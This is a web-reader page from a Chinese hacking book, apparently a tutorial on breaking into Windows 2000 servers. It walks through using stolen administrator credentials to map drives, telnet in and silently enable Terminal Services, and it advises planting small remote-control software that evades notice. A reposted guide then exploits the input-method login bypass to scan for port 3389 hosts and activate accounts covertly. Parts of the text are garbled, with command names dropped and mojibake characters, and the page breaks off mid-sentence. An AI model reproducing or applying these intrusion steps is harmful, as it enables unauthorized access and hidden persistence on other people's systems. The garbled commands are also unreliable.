《30天打造专业红客》

下载本书

添加书签

30天打造专业红客- 第4部分


按键盘上方向键 ← 或 → 可快速上下翻页,按键盘上的 Enter 键可回到本书目录页,按键盘上方向键 ↑ 可回到本页顶部!
卧呐渲梅衿魃柚谩!�
基于 Citrix CA 的客户机 
终端服务配置还用于为基于 Citrix CA 的客户机配置连接。当 Citrix CA 协议和基于 Citrix CA 的客户软件添加到该系统时,可以使用 TCP/IP、同步、IPX/SPX 或 BIOS 传输协议配置这些连接
有很多朋友问怎么开启3389终端服务下面我们一起来探索一下远程开启3389的方法。 首先我们应该了解3389终端服务;可以运行在什么系统下;个人了解;终端服务在M的大部分 
产品中都可运行;如:winnt4/win2000server/win2000ADV…server/win2000DS/XP等。 
但winnt4中是需要单独购买的;2000专业版不能远程安装终端服务的;至少我没成功过。 
我们在以下的探索中;是以win2000server和高级server为例的。(现在用的也最多)。 
现在开始。 假设我们拿到了一个主机的管理员帐户和密码。 
主机: 192。168。0。1 
帐号: administrator 
密码: 7788 
2000系统安装在c:winnt下 
从上面的的介绍可以知道;2000专业版是不可以远程安装终端服务的;那我们就要首先来 
判断此主机是专业版还是服务器版;才能进入下一个环节。 我们可以先用对方所开帐户判断: c:》letmein 192。168。0。1 …all …d 
stating connecting to server 。。。 
Server local time is: 2002…1…13 10:19:22 
Start get all users FORM server。。。 
…………………………………………………………………… 
Total = 5 
…………………………………………………………………… 
num0= Administrator () 
num1= Guest () 
num2= IUSR_servername (Inter 来宾帐号 ) 
num3= IWAM_servername (启动 IIS 进程帐号) 
num4= TsInterUser (TsInterUser) 
…………………………………………………………………… 
Total = 5 
…………………………………………………………………… 一般情况num2/3/4这三个帐户都是2000server默认开启的。 
2000专业版默认是不开这些帐户的。 我们也可以扫描对方开放的端口进一步确认: 
用扫描软件如:superscan3。exe扫描对方所开端口 
判断对方是否开启25;3372等2000server默认开启的端口。 当然我们还可以使用一些工具;如:cmdinfo。zip 
这2个东东可以获得本地或远程NT/2K主机的版本;系统路径;源盘路径;PACK版本;安装时间等一 
系列信息;一个图形界面;一个命令行。 
通过返回的信息就可以很清楚的了解对方主机情况。 还有一些其他的方法来判断;如:从对方所开的服务来确定等; 
从上面的判断准确率还算高;别的就不一一说明了。 
如果你在以上步骤里发现对方主机并没有那3个帐户;默认端口也没开; 
或cmdinfo返回的信息对方是2000专业版;你就要放弃安装3389的计划了。 
现在我们要进入下一环节: 
判断终端服务到底有没有安装? 你也许要问:为什么还要判断啊?我扫描没有发现3389端口啊
这里就需要解释一下;如果装了终端服务组件;可能有哪几种情况扫描不到3389端口? 
1。终端服务termservice在〃管理工具〃》》》〃服务〃中被禁用。 
2。终端服务连接所需的RDP协议在〃管理工具〃》》》〃终端服务配置〃中被停用连接。 
3。终端服务默认连接端口3389被人为的改变。如何改变请看修改终端服务默认的3389端口
4。终端服务绑定的网络适配器不是外网的。 
5。防火墙和端口过滤之类的问题。 
6。。。。。(还有我没想到的) 
其实;我们遇到最多的情况就是以上5种情况。 现在开始判组件是否被安装。 先与远程主机连接;映射远程主机C盘为本地Z盘 
 use z: 192。168。0。1c 〃7788〃 /user:〃administrator〃 
命令成功完成。 然后转到Z盘;检查 
Z:Documents and SettingsAll Users「开始」菜单程序管理工具》 
里是否有 〃终端服务管理器〃和〃终端服务配置〃的快捷方式文件 
如有已安装服务组件的会有;反之;没有(98% 人为故意删的可能性较小) 
我们还可以在下一步tel到对方主机后使用终端服务自带的命令进一步的核实。 判断完毕;对方好像是没有安装终端服务组件;可以进入下一步: 
tel登陆对方主机;准备安装服务组件。 在这里;我强烈建议使用2000自带的tel服务端登陆; 
有回显;不容易出错。个人感觉使用它;一次成功的比例高很多。(呵呵~;个人理解啊!) 
就算没有开;打开用完后再关掉就完了。 
。abu。写的最快速登录WIN2K TEL 服务已经把这个方法介绍的非常详细; 
而且他的办法(在本机建立同名;同密码帐户);让快速实现tel登陆成为现实。 假如我们已开启对方23端口; 
tel 192。168。0。1 
输入用户名/密码 
*=============================================================== 
欢迎使用 Microsoft Tel 服务器。 
*=============================================================== 
C:》 
成功进入!!!! 进入后;再次检查终端组件是否安装: 
c:》query user 
这个工具需要安装终端服务。 这样就进一步确定了组件没有被安装。如果返回: 
USERNAME SESSIONNAME ID STATE IDLE TIME LOGON TIME 
》w1 console 0 运行中 。 2002…1…12 22:5 
类似这样的信息;可能组件就已安装。 好!都清楚了;可以开始安装了。 
……………………………………………………………………………………………………………………………………… 
C:》dir c:sysoc。inf /s //检查INF文件的位置 
c:WINNTinf 的目录 2000…01…10 20:00 3;770 sysoc。inf 
1 个文件 3;770 字节 
…………………………………………………………………………………………………………………………………………… 
C:》 dir c:sysocmgr。* /s //检查组件安装程序 
c:WINNTsystem32 的目录 2000…01…10 20:00 42;768 sysocmgr。exe 
1 个文件 42;768 字节 
…………………………………………………………………………………………………………………………………………… 
c:》echo 'ponents' 》 c:wawa 
c:》echo TSEnable = on 》》 c:wawa 
//这是建立无人参与的安装参数 
c:》type c:wawa 
'ponents' 
TSEnable = on 
//检查参数文件 
……………………………………………………………………………………………………………………………………………… 
c:》sysocmgr /i:c:winntinfsysoc。inf /u:c:wawa /q 
…………………………………………………………………………………………………………………………………………… 
这一条就是真正安装组件的命令。 
以上这条命令没有加/R参数;主机在安装完后自动重起。 
如若加了/R参数主机就不会重起。 如果一切正常的话;几分钟后对方主机将会离线;当它重新回来时; 
3389终端服务就已经开启。你就可以连上去了。 问题和建议: A 在安装过程中;不使用/R;有时主机也不会重起;你就要手动重起他;但在使用诸如:iisreset /reboot命令时;对方 
的屏幕会出现个对话框;写着谁引起的这次启动;离重起还有多少秒。 B 一次不行可以再试一次;在实际中很有作用。 C 在输入sysocmgr命令开始安装时;一定不要把命令参数输错;那会在对方出现一个大的对话框;是sysocmgr的帮助;很是显眼; 
而且要求确定。在你的屏幕上是不会有任何反应的;你不会知道出错,所以会有B的建议。 
好了以后你就想干什么就干什么了。不过有时候还真不知道干什么,总之得干个事,装个什么局域网控制软件,不过不要体积太大,容易被发现。
超强 C 语言代码;你有信心看懂吗?
刚刚说有输入法漏洞的机子很少了,但有些朋友担心还有怎么办,不是吃大亏了吗?这样我找了一篇写的不错的文章贴一下( 注意是转载)写的不错,据说是新写的,这位大哥也真闲啊
WIN2000中文简体版存在的输入法漏洞,可以使本地用户绕过身分验证机制进入系统内部。经实验,WIN2000中文简体版的终端服务,在远程操作时仍然存在这一漏洞,而且危害更大。 
WIN2000的终端服务功能,能使系统管理员对WIN2000进行远程操作,采用的是图形界面,能使用户在远程控制计算机时功能与在本地使用一样,其默认端口为3389,用户只要装了WIN2000的客户端连接管理器就能与开启了该服务的计算机相联。因此这一漏洞使终端服务成为WIN2000的合法木马。 
工具:客户端连接管理器,下载地址:自己找吧,天天有好几种呢。 
入侵步骤: 
一,获得管理员账号。 
我们先对一个网段进行扫描,扫描端口设为3389,运行客户端连接管理器,将扫描到的任一地址加入到,设置好客户端连接管理器,然后与服务器连结。几秒钟后,屏幕上显示出WIN2000登录界面(如果发现是英文或繁体中文版,放弃,另换一个地址),用CTRL+SHIFT快速切换输入法,切换至全拼,这时在登录界面左下角将出现输入法状态条(如果没有出现,请耐心等待,因为对方的数据流传输还有一个过程)。用右键点击状态条上的微软徽标,弹出“帮助”(如果发现“帮助”呈灰色,放弃,因为对方很可能发现并已经补上了这个漏洞),打开“帮助”一栏中“操作指南”,在最上面的任务栏点击右键,会弹出一个菜单,打开“跳至URL”。此时将出现WIN2000的系统安装路径和要求我们填入的路径的空白栏。比如,该系统安装在C盘上,就在空白栏中填入〃c:winntsystem32〃。然后按“确定”,于是我们就成功地绕过了身份验证,进入了系统的SYSTEM32目录。 
现在我们要获得一个账号,成为系统的合法用户。在该目录下找到〃。exe〃,为〃。exe〃创建一个快捷方式,右键点击该快捷方式,在“属性”-》“目标”-》c:winntsystem32。exe后面空一格,填入〃user guest /active :yes〃点“确定”。这一步骤目的在于用。exe激活被禁止使用的guest账户,当然也可以利用〃user 用户名 密码/add〃,创建一个新账号,但容易引起网管怀疑。运行该快捷方式,此时你不会看到运行状态,但guest用�

小提示:按 回车 [Enter] 键 返回书目,按 ← 键 返回上一页, 按 → 键 进入下一页。 赞一下 添加书签加入书架